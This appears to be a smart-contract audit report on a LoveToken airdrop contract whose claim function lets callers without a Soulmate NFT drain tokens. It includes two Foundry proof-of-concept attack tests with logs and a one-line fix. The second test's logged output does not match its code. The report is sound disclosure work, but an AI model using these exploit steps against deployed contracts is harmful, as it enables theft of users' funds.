Summary
Due to the lack of checking whether the caller owns a Soulmate in the claim function, anyone calling claim will immediately receive a substantial amount of LoveToken before the NFT with ID 0 is minted. After the minting of the NFT with ID 0, additional airdrop rewards can be obtained based on the calculation result of block.timestamp - soulmateContract.idToCreationTimestamp(0).
Vulnerability Details
if (soulmateContract.isDivorced()) revert Airdrop__CoupleIsDivorced();
uint256 numberOfDaysInCouple = (block.timestamp -
soulmateContract.idToCreationTimestamp(
soulmateContract.ownerToId(msg.sender)
)) / daysInSecond;
In the implementation of the claim function, only the caller's divorce status is checked. However, if the caller hasn't successfully minted an NFT (thus not having a soulmate), soulmateContract.idToCreationTimestamp(soulmateContract.ownerToId(msg.sender)) will return 0.
Impact
Any caller without a Soulmate can claim airdrops meant for the NFT with ID 0.This also does not affect the ability of the owner of the NFT with ID 0 to claim rewards. Furthermore, they can easily deplete the airdropVault when the NFT with ID 0 is minted.This poses a front-running risk.
POC
Here it demonstrates the LoveToken rewards obtained by calling the claim function before the NFT with ID 0 is minted.
function test_Attack() public {
vm.warp(block.timestamp + 1707416808);
console.log("Before Attack Vault Balance:");
console.log(loveToken.balanceOf(address(airdropVault)));
address attacker = makeAddr("attacker");
console.log("Before Attacker Balance:");
console.log(loveToken.balanceOf(address(attacker)));
vm.prank(attacker);
airdropContract.claim();
console.log("After Attack Vault Balance:");
console.log(loveToken.balanceOf(address(airdropVault)));
console.log("After Attacker Balance:");
console.log(loveToken.balanceOf(address(attacker)));
}
result
[PASS] test_Attack() (gas: 101960)
Logs:
Before Attack Vault Balance:
500000000000000000000000000
Before Attacker Balance:
0
After Attack Vault Balance:
499980239000000000000000000
After Attacker Balance:
19761000000000000000000
[PASS] test_WellInitialized() (gas: 12301)
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.25ms
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)
Here it showcases the rewards obtained by a caller without a Soulmate after the minting of the NFT with ID 0 when they call the claim function.
function test_Attack() public{
vm.warp(block.timestamp + 1707416808);
address attacker = makeAddr("attacker");
console.log("Before Attack Vault Balance:");
console.log(loveToken.balanceOf(address(stakingVault)));
vm.startPrank(attacker);
airdropContract.claim();
console.log("Before Attacker Balance:");
console.log(loveToken.balanceOf(address(attacker)));
uint balance = loveToken.balanceOf(address(attacker));
loveToken.approve(address(stakingContract), balance);
stakingContract.deposit(balance);
stakingContract.claimRewards();
stakingContract.withdraw(balance);
console.log("After Attack1 Vault Balance:");
console.log(loveToken.balanceOf(address(stakingVault)));
console.log("After Attacker1 Balance:");
console.log(loveToken.balanceOf(address(attacker)));
address attacker2 = makeAddr("attacker2");
loveToken.transfer(attacker2, loveToken.balanceOf(address(attacker)));
vm.stopPrank();
vm.startPrank(attacker2);
uint amountTodeposit = (loveToken.balanceOf(address(stakingVault)) * 1 weeks)/ block.timestamp;
loveToken.approve(address(stakingContract), amountTodeposit);
stakingContract.deposit(amountTodeposit);
stakingContract.claimRewards();
stakingContract.withdraw(amountTodeposit);
vm.stopPrank();
console.log("After Attack2 Vault Balance:");
console.log(loveToken.balanceOf(address(stakingVault)));
console.log("After Attacker2 Balance:");
console.log(loveToken.balanceOf(address(attacker2)));
}
result
Running 2 tests for test/unit/AirdropTest.t.sol:AirdropTest
[PASS] test_Attack() (gas: 358434)
Logs:
Before Attack Vault Balance:
500000000000000000000000000
Before Attacker Balance:
0
After Attack Vault Balance:
499999800000000000000000000
After Attacker Balance:
200000000000000000000
After soulmate1 Balance:
200000000000000000000
[PASS] test_WellInitialized() (gas: 12301)
Test result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.60ms
Ran 1 test suites: 2 tests passed, 0 failed, 0 skipped (2 total tests)
Tools Used
Manual Review
Recommendations
Check if the caller has a soulmate.
require(soulmateContract.soulmateOf(msg.sender)!=address(0));